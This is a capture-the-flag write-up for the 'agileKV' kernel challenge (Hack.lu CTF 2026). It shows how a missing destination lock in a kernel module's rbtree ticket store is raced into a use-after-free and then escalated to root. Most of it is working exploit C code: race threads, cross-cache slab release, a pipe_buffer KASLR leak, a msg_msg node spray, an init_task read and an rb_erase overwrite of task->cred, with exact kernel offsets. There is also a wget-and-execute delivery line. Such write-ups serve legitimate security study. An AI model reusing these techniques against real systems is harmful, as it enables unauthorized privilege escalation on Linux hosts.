agileKV — Hack.lu CTF 2026

Description

Challenge files: chal.c, chal.h, chal.ko, bzImage, vmlinux, initramfs.cpio.gz, run.sh, Dockerfile, docker-compose.yml, config. Flag format flag{...}. Author: donc42.

English summary: the guest boots a Linux 6.19.9-chal kernel with a loadable module that creates a char device /dev/agile-kv (mode 0666). The module implements a "ticket store": 20 red-black trees ticket_stores[20] indexed by a priority 0..19. An unprivileged user (uid 1000) can create, read and delete tickets and move them between priority stores. The flag sits on the block device /dev/vda (mode 400, owned by root), so the goal is a local privilege escalation to uid 0.

struct ticket { char subject[0x100]; char description[0x200]; long id; int priority; struct rb_node node; }; /* 0x328 */
struct user_ticket { unsigned int priority; unsigned long id; char *subject; char *description;
                     unsigned long subject_len; unsigned long description_len; };

ioctl	value
TICKET_OPEN	0x1337
TICKET_CLOSE	0x1338
TICKET_READ	0x1339
INC_PRIO	0x133a
DEC_PRIO	0x133b

The backing cache is created with a very specific geometry:

struct kmem_cache_args args = {
    .sheaf_capacity = 16,
    .align = 0x400,                                  /* 1024-byte stride */
    .useroffset = offsetof(struct ticket, subject),  /* 0 */
    .usersize  = DESC_LEN + SUBJ_LEN                 /* 0x300 */
};
tickets_cache = kmem_cache_create("tickets-cache", sizeof(struct ticket), &args, 0);

0x328 rounds up to a 0x400 object, 0x400 * 16 = 0x4000 → the cache is order-2, 16 objects per slab. The usercopy region stops at 0x300, i.e. subject, description and id are user-visible but priority and the embedded struct rb_node are not.

Analysis

The bug: missing lock on the destination store

Every other handler locks the store it touches. ticket_set_priority(), which implements INC_PRIO/DEC_PRIO, does not:

static long ticket_set_priority(struct user_ticket *uticket, unsigned long new_prio) {
	struct ticket *this;
	long retval = 0;
	mutex_lock(&ticket_stores[uticket->priority].lock);      /* SOURCE lock only */

	if (new_prio >= NUM_PRIOS) { retval = -EINVAL; goto OUT; }

	if (!(this = ticket_store_search(&ticket_stores[uticket->priority], uticket->id))){
		retval = -EINVAL; goto OUT;
	}

	ticket_store_remove(&ticket_stores[this->priority], this);        /* rb_erase  */
	if (ticket_store_insert(&ticket_stores[new_prio], this)) {        /* NO dst lock */
		retval = -EINVAL; goto OUT;
	}

	this->priority = new_prio;                                /* written AFTER insert */
OUT:
	mutex_unlock(&ticket_stores[uticket->priority].lock);
	return retval;
}

Four distinct problems, all in four lines:

1. ticket_store_remove(&ticket_stores[this->priority], ...) erases the node from a tree derived from this->priority — not from the tree the search just walked. If another thread already flipped this->priority, the erase is performed on the wrong tree.
2. ticket_store_insert(&ticket_stores[new_prio], ...) runs rb_link_node() + rb_insert_color() on the destination tree with no lock held.
3. this->priority = new_prio is written after the insert, so a concurrent reader still sees the old priority while the node is already reachable from the new tree.
4. Nothing stops two set_priority calls whose source stores differ (so their mutexes do not exclude each other) from writing into the same destination store concurrently.

All length checks (subject_len < 0x100, description_len < 0x200) are correct, so this is not an overflow challenge — it is a pure data race on the destination rbtree.

Consequence: duplicate linkage and a dangling node

Consider a ticket T that is alone in store 0. Thread A loops INC_PRIO(0, T) (0 → 1) and thread B loops DEC_PRIO(1, T) (1 → 0). Both only ever take the lock of the store named in uticket->priority (ticket_stores[0] for A, ticket_stores[1] for B), so the two operations run concurrently. There is a window where:

• A has already inserted T into store 1 (unlocked) but has not yet written T->priority = 1;
• B searches store 1, finds T (its id matches), and this->priority is still 0;
• B therefore executes rb_erase(T, &ticket_stores[0]) — erasing T from a tree it is not in — and then inserts T into store 0.

Result: T is simultaneously reachable from store0.root and store1.root. A subsequent TICKET_CLOSE(0, T) unlinks and kfree()s T's slot while store1.root still points at it: a dangling struct rb_node inside a freed tickets-cache object. Because ticket_store_search() returns container_of(node, struct ticket, node), every later TICKET_READ/TICKET_CLOSE on store 1 walks the freed object's fields, which we can re-populate with any slab object that reuses the page.

The crash window, and how to close it

The two-tree outcome requires T to be store 1's root (parent == NULL) at the moment the racing wrong-tree erase runs. But parent == NULL is exactly the case where rb_link_node() leaves __rb_parent_color == 1 (root, black); a concurrent rb_insert_color() then reads 1 as a parent pointer and faults at rb_insert_color+0xc. With oops=panic on the cmdline, that is one shot per boot — and it happened on ~50–70 % of boots.

The fix is to pre-shape the destination store so that the racing ticket ends up as the root with a non-NULL right child:

s[0]='C'; OPEN(dst, 200, s, 8);   /* dst store root: black, id 200 */
s[0]='D'; OPEN(dst,  50, s, 8);   /* red left child, id 50        */
/* now OPEN(src, 105) -> rb_insert_color rotates 105 to the root of dst, with
   200 (id 200) as its non-NULL right child */

When the racing DEC now performs the wrong-tree rb_erase(T, store0), it sets store0.root = T->rb_right = C (non-NULL), so its own ticket_store_insert() descends under a valid parent and rb_insert_color never dereferences 1. This drops the panic rate to roughly 25 % of boots while keeping the duplicate linkage.

Exploitation primitives

1. Cross-cache page release (SLUB sheaves aware)

tickets-cache is order-2 / 16 objects. Freeing one object only pushes it onto the per-CPU sheaf; the slab page is not returned to the buddy allocator until the SLUB bookkeeping allows it. In 6.19 the SLAB_OBJ_EXT "sheaves / barn / CPU-partial" layer means the freed objects stay in per-CPU main/spare sheaves and only flush when the barn fills (sheaf_capacity = 16, barn limit 10) or a node/CPU partial list overflows. Empirically, freeing ~400 tickets released only ~7 of 25 slabs.

The ordering that works is: allocate many decoy tickets, free most of them first to overflow the sheaf → barn → node/CPU partial lists so n->nr_partial >= min_partial, then free the racer's 16-object slab last, then free the rest:

static void release_slab(int src, int others, int decoys) {
    #define NDEC 600
    for (int i=0;i<NDEC;i++){ s[0]='D'; OPEN(decoys, 5000+i, s, 8); }  /* fill a decoy store */
    for (int i=0;i<450;i++) CLOSE(decoys, 5000+i);   /* overflow sheaf/barn + node/CPU partial */
    for (int i=0;i<15;i++) CLOSE(others,100+i);      /* the rest of the racer's own slab   */
    CLOSE(src, RACE_ID);                             /* the racer's slot                   */
    for (int i=450;i<NDEC;i++) CLOSE(decoys, 5000+i);/* drain the decoys                   */
}

After this the order-2 page holding the dangling node is back in the buddy allocator and can be re-taken by any other order-2 / 16-per-slab cache.

2. KASLR leak with pipe_buffer arrays

kmalloc-cg-1k (memcg-accounted kmalloc-1k) has the same geometry: object size 0x400, 16 per order-2 slab. The pipe ring is allocated with kcalloc(nr_slots * sizeof(struct pipe_buffer), GFP_KERNEL_ACCOUNT); with the default nr_slots = 16 that is 16 * 0x28 = 0x280 → kmalloc-cg-1k, and it is the only cg-1k object allocated per pipe. So spraying pipes fills the released page with our arrays, and close()ing the pipes frees all 16 objects again (perfect 1:1 page swap both ways).

kcalloc zeroes the whole 0x400 object, so *(slot + 0x300) == 0: the dangling ticket's id reads as 0, TICKET_READ(store1, 0) matches the dangling root, and copy_to_user copies [slot, slot+0x300) — i.e. the first ~12 pipe_buffer entries:

for (int i=0;i<400 && np<4000;i++)
    if (pipe(pf[np])==0 && write(pf[np][1],"A",1)==1) np++;

if (read_id(dst, 0, buf)) {
    unsigned long ops = *(unsigned long*)(buf+0x10);      /* pipe_buffer[0].ops */
    unsigned long c1 = ops - OFF_ANON_PIPE_BUF_OPS;
    unsigned long c2 = ops - OFF_DEFAULT_PIPE_BUF_OPS;
    if ((c1 & 0x1fffffUL)==0) kbase=c1;                    /* 2 MiB-aligned check */
    else if ((c2 & 0x1fffffUL)==0) kbase=c2;
}

struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; } puts ops at +0x10, which is anon_pipe_buf_ops for a pipe written once — a fixed kernel text pointer. Subtracting its offset gives the KASLR base.

3. Controlled rbtree node with msg_msg

close() all pipes → the cg-1k page goes back to buddy. Now spray msg_msg messages: msgsnd() with 0x3D0 bytes of mtext produces a 0x30 + 0x3D0 = 0x400 object in the dedicated msg_msg-1k SLAB_BUCKETS cache — again order-2, 16 per slab. One of the ~800 messages lands exactly on the dangling slot, and its mtext (which starts at slot+0x30) controls the dangling struct rb_node at slot+0x310:

field	mtext offset	slot offset
ticket.id	0x2D0	0x300
node.__rb_parent_color	0x2E0	0x310
node.rb_right	0x2E8	0x318
node.rb_left	0x2F0	0x320

#define MSGSZ 0x3D0
#define M_ID 0x2D0
#define M_PC 0x2E0
#define M_RT 0x2E8
#define M_LF 0x2F0
static void build_mtext(char *m, unsigned long id, unsigned long pc, unsigned long rt, unsigned long lf) {
    memset(m, 0, MSGSZ);
    m[0]='K'; m[1]='V'; m[2]='X'; m[3]='!';
    *(unsigned long*)(m+M_ID)=id; *(unsigned long*)(m+M_PC)=pc;
    *(unsigned long*)(m+M_RT)=rt; *(unsigned long*)(m+M_LF)=lf;
}

4. Finding which message is on the slot: the zero-length probe oracle

msg_msg-1k is created with usersize = 0, so any real copy_to_user() from it trips HARDENED_USERCOPY (usercopy: Kernel memory exposure attempt detected from SLUB object 'msg_msg-1k') — which panics the kernel because of oops=panic. So the messages cannot be read with TICKET_READ(..., 0xFF, ...).

The way out is a zero-length read: copy_to_user(uticket->subject, this->subject, 0) copies nothing, performs no object-size validation, and returns 0 iff ticket_store_search() found the key. That turns TICKET_READ into a pure "does key id exist in this store" oracle, which is enough to identify the message sitting on the dangling slot:

static int probe_id(int prio, unsigned long id) {
    return op(TICKET_READ, prio, id, s, 0, d, 0) == 0;   /* subject_len = description_len = 0 */
}

static int reclaim_msg(int store) {
    static int qs[NRECLAIM];
    for (int i=0;i<NRECLAIM;i++) qs[i]=spray_one(0x1000+i, 0, 0, 0);
    for (int i=0;i<NRECLAIM;i++) {
        if (qs[i]<0) continue;
        if (probe_id(store, 0x1000+i)) { q_cur = qs[i]; return 1; }
    }
    return 0;
}

5. Arbitrary read of kernel .data

With the node controlled, the rbtree walk becomes an arbitrary read: set D.id = 1 and D.rb_left = N. Searching for key 0 goes left to N, computes container = N - 0x310, matches when the value at N - 0x10 (the id field) equals 0, and then copies [N - 0x310, N - 0x10).

HARDENED_USERCOPY only rejects kernel text and slab-object boundary violations; non-slab kernel data (.data, per-CPU) is copied freely. Using init_task + 0x5e8 (exit_state, always 0) as the known-zero id, one read of [init_task+0x2e8, init_task+0x5e8) yields init_task.tasks.next and init_task.tasks.prev — two task_struct heap addresses:

free_cur();
q_cur = spray_one(1, 0, 0, init_task+0x5f8);      /* D.id=1 -> key 0 walks rb_left */
if (!read_id(ST, 0, buf)) { /* fail */ }
unsigned long tnext = *(unsigned long*)(buf + (TASK_TASKS-0x2e8));
unsigned long tprev = *(unsigned long*)(buf + (TASK_TASKS-0x2e8+8));

6. Arbitrary write with rb_erase

TICKET_CLOSE(store, id) → rb_erase(node, &store->root). With rb_left == NULL (case 1 in __rb_erase_augmented), the kernel does:

pc     = node->__rb_parent_color;
parent = __rb_parent(pc);            /* pc & ~3 */
__rb_change_child(node, child, parent, root);
if (child) child->__rb_parent_color = pc;

__rb_change_child() writes child into parent->rb_right (offset +8) or parent->rb_left (offset +0x10). Choosing pc = target - 8 and child = rb_right gives *(target) = child. child must itself be a writable kernel address because the erase also stores pc into child->__rb_parent_color. That is exactly the shape needed for a data-only escalation: write the address of a static, fully valid credential object.

Full chain

uid 1000
  │
  ├─ 1. OPEN(src, 105); 15 filler tickets in store2; OPEN(dst, 200); OPEN(dst, 50)
  ├─ 2. race INC_PRIO(0,105) vs DEC_PRIO(1,105)  → 105 reachable from store0 AND store1
  ├─ 3. TICKET_CLOSE(0,105)                      → dangling rb_node, store1.root → freed slot
  ├─ 4. release_slab()                           → order-2 tickets-cache page → buddy
  ├─ 5. 400 pipes                                → page reclaimed by pipe_buffer arrays
  │      TICKET_READ(store1, 0)                  → pipe_buffer[0].ops → KASLR base
  ├─ 6. close() all pipes; spray 800 msg_msg     → mtext controls the dangling rb_node
  │      zero-length TICKET_READ probes          → find which queue owns the slot
  ├─ 7. arbitrary read of init_task              → two task_struct addresses
  ├─ 8. TICKET_CLOSE(store1, 105) with
  │      id=105, pc=task+0x828-8, rb_right=&init_cred, rb_left=0
  │                                             → *(task+0x828) = &init_cred  (task->cred)
  ├─ 9. getuid() == 0
  └─ 10. open("/dev/vda") and read               → flag

Step 1–2: set up and race

int src=0, dst=1, others=2, decoys=3;
s[0]='T'; s[1]='5'; s[2]=0; OPEN(src, RACE_ID, s, 8);
for (int i=0;i<15;i++){ s[0]='T'; s[1]='0'+(i/10); s[2]='0'+(i%10); s[3]=0; OPEN(others,100+i,s,8); }
s[0]='C'; s[1]=0; OPEN(dst, 200, s, 8);   /* shape dst so the racer rotates to the root */
s[0]='D'; s[1]=0; OPEN(dst,  50, s, 8);
if (!race_duplicate(src,dst)) return 1;

race_duplicate() runs both threads, polls read_id() on both stores until both succeed (duplicate linkage observed), then stops the threads and re-verifies after the stop; if only the source still holds the ticket it promotes it once with INC(src, RACE_ID) to catch the "stale priority" variant:

static void *thrA(void *a){(void)a; while(!stop) INC(g_src,RACE_ID); return NULL;}
static void *thrB(void *b){(void)b; while(!stop) DEC(g_dst,RACE_ID); return NULL;}

for (int attempt=0; attempt<25; attempt++) {
    pthread_t ta,tb; stop=0;
    pthread_create(&ta,NULL,thrA,NULL); pthread_create(&tb,NULL,thrB,NULL);
    char b0[0x300], b1[0x300]; int observed=0;
    for (int p=0;p<12000 && !observed;p++){ if(p) usleep(80); if(read_id(src,RACE_ID,b0)&&read_id(dst,RACE_ID,b1)) observed=1; }
    stop=1; pthread_join(ta,NULL); pthread_join(tb,NULL);
    int a=read_id(src,RACE_ID,b0), b=read_id(dst,RACE_ID,b1);
    if(a&&b){ /* duplicate linkage */ return 1; }
    if(a){ INC(src,RACE_ID); ... }        /* stale-priority promotion */
    else if(b) DEC(dst,RACE_ID);
    else return 0;                        /* ticket lost */
}

The CPU affinity is pinned to CPU 0 after the race, not during it (pinning during the race hurt the hit rate).

Step 8: the credential write

#define OFF_INIT_TASK 0x1e0dc40UL
#define OFF_INIT_CRED 0x1e0ea00UL
#define TASK_TASKS    0x580UL
#define TASK_REALCRED 0x820UL
#define TASK_CRED     0x828UL

unsigned long cands[2] = { tprev - TASK_TASKS, tnext - TASK_TASKS };
for (int ci=0; ci<2 && getuid()!=0; ci++) {
    unsigned long cand = cands[ci];
    /* *(cand+0x828) = &init_cred */
    set_node(RACE_ID, cand+TASK_CRED-8, init_cred, 0);   /* id, __rb_parent_color, rb_right, rb_left */
    CLOSE(ST, RACE_ID);                                   /* rb_erase -> write */
    q_cur = -1;
    if (getuid()==0) break;
    set_node(RACE_ID, cand+TASK_REALCRED-8, init_cred, 0);
    CLOSE(ST, RACE_ID);
    q_cur = -1;
}

rb_erase case 1 computes parent = (cand+0x820) & ~3 = cand+0x820 and, because *(cand+0x830) != node, writes the child into parent->rb_right at cand+0x828 — task->cred = &init_cred. Since new tasks are appended to the tail of the init_task.tasks list, init_task.tasks.prev is our own process, so the very first candidate makes getuid() return 0. The only side effect is *(init_cred) = pc (i.e. init_cred.usage becomes a large number), which is harmless.

Each write consumes the controlled node (TICKET_CLOSE also kfree()s the object at the slot, which is the msg_msg currently occupying it), so set_node() re-frees the queue and sprays a fresh message with the new node fields before every TICKET_CLOSE.

Step 10: read the flag

int f = open("/dev/vda", O_RDONLY);
ssize_t n = read(f, fb, sizeof fb - 1);
char *p = strstr(fb, "flag{");          /* -> flag{REDACTED} */

Reliability

• Local QEMU/TCG, 8 boots: 4/8 complete runs, 4/8 died with the rb_insert_color+0xc race panic before the win. Store pre-shaping had already cut that from ~50–70 % to ~25 %.
• The remote service boots a fresh VM per TCP connection (socat tcp-l:1024,reuseaddr,fork EXEC:'/run.sh'), so a ~50 % per-boot success rate is perfectly usable — just reconnect on a panic. A successful run completes in well under the 110 s alarm().
• The fragile steps in order of decreasing reliability: cross-cache page release (needs the decoy-first / target-last free ordering), pipe reclaim, and msg reclaim (retried up to 5 times with an extra pipe alloc/free cycle in between).

Practical notes

• Build a static x86_64 binary on a macOS/arm64 host: docker run --platform linux/amd64 alpine sh -c 'apk add gcc musl-dev; gcc -static -O2 -pthread -s -o expB expB.c'.
• Run the shipped kernel locally under QEMU TCG (-cpu max, no KVM) with a repacked initramfs that runs the exploit as user (local/run-local.sh, local/repack.sh).
• Remote interaction quirk: the ingress served a Go HTTP 404/400 to openssl s_client, but a raw TLS session works with socat - OPENSSL:<host>:443,verify=0,commonname=<host>.
• Binary delivery to the guest: the initramfs runs udhcpc on eth0 (QEMU user-mode NAT), so wget -qO /tmp/p.gz <url> && gunzip -c /tmp/p.gz > /tmp/x && chmod +x /tmp/x && /tmp/x works with busybox.

Offsets & references

vmlinux base 0xffffffff81000000 (confirmed against the shipped vmlinux BTF/DWARF with pahole from dwarves in a debian:bookworm-slim amd64 container):

symbol / field	offset
anon_pipe_buf_ops	0x1242340
default_pipe_buf_ops	0x1244160
init_task	0x1e0dc40
init_cred	0x1e0ea00
task_struct.tasks	0x580
task_struct.exit_state	0x5e8
task_struct.real_cred	0x820
task_struct.cred	0x828
task_struct.comm	0x838
struct cred: usage / uid / fsgid / user_ns	0x0 / 0x8 / 0x24 / 0x90
struct msg_msg: m_list / m_ts / next / security	0x0 / 0x18 / 0x20 / 0x28
struct ticket: id / priority / node	0x300 / 0x308 / 0x310
struct pipe_buffer.ops	0x10
tty_struct.ops	0x20

Mitigations in play: Linux 6.19.9-chal, SMP, PREEMPT_DYNAMIC (PREEMPT_NONE), KASLR (RANDOMIZE_BASE + RANDOMIZE_MEMORY), PTI, SMEP + SMAP, VMAP_STACK, STRICT_KERNEL_RWX, HARDENED_USERCOPY, SLAB_FREELIST_RANDOM + SLAB_FREELIST_HARDENED, SLAB_BUCKETS, SLAB_OBJ_EXT (sheaves), MEMCG, DEBUG_LIST, 5-level paging (LA57). INIT_ON_ALLOC is off, RANDOM_KMALLOC_CACHES is off. Guest: dmesg_restrict=1, kptr_restrict=1, perf_event_paranoid=2, /proc/kallsyms mode 400, /dev/vda mode 400, oops=panic.

Alternative channels explored and rejected: tty_struct (/dev/ptmx) reclaims the page and gives a clean KASLR leak plus the slot's absolute address, but the plan of a fake-cred + tty->ops hijack runs into AppArmor dereferencing file->f_cred->security; msg_msg OOB reads via m_ts/next fail because the header at slot+0x0..0x30 is not controllable; and freelist poisoning is unreachable because the rb_erase write value is always 0 or a writable address, never a controlled kernel-text gadget.

Key Indicators

Use this technique when:

• A kernel module takes only the source lock and then mutates a second, different container (mutex_lock(&a[i].lock) … insert(&a[j])) — that asymmetry is the bug.
• A custom kmem_cache_create() sets align and sheaf_capacity, and the object size rounds to a power-of-two slab whose geometry matches a well-known reclaim cache (msg_msg-1k, kmalloc-cg-1k) — cross-cache is then a clean 1:1 page swap.
• usersize in the cache args is smaller than the object size: the fields beyond usersize (here the embedded struct rb_node) are only reachable after a cross-cache reclaim.
• oops=panic / panic=1 on the cmdline with a fresh VM per connection: a crashy race is acceptable, just retry.
• A reclaiming object has usersize = 0 (e.g. msg_msg-1k) and every real copy_to_user() triggers HARDENED_USERCOPY; a zero-length copy is the way to build an oracle from a read primitive that cannot actually read.
• A dangling struct rb_node is attacker-controlled: rb_erase case 1 gives a *(parent+8) = child write, and the tree search gives container_of()-based arbitrary reads of non-slab kernel .data (allowed by HARDENED_USERCOPY).
• The escalation is data-only because the write value must be a writable address: *(task->cred) = &init_cred beats any function-pointer hijack that would need kernel text.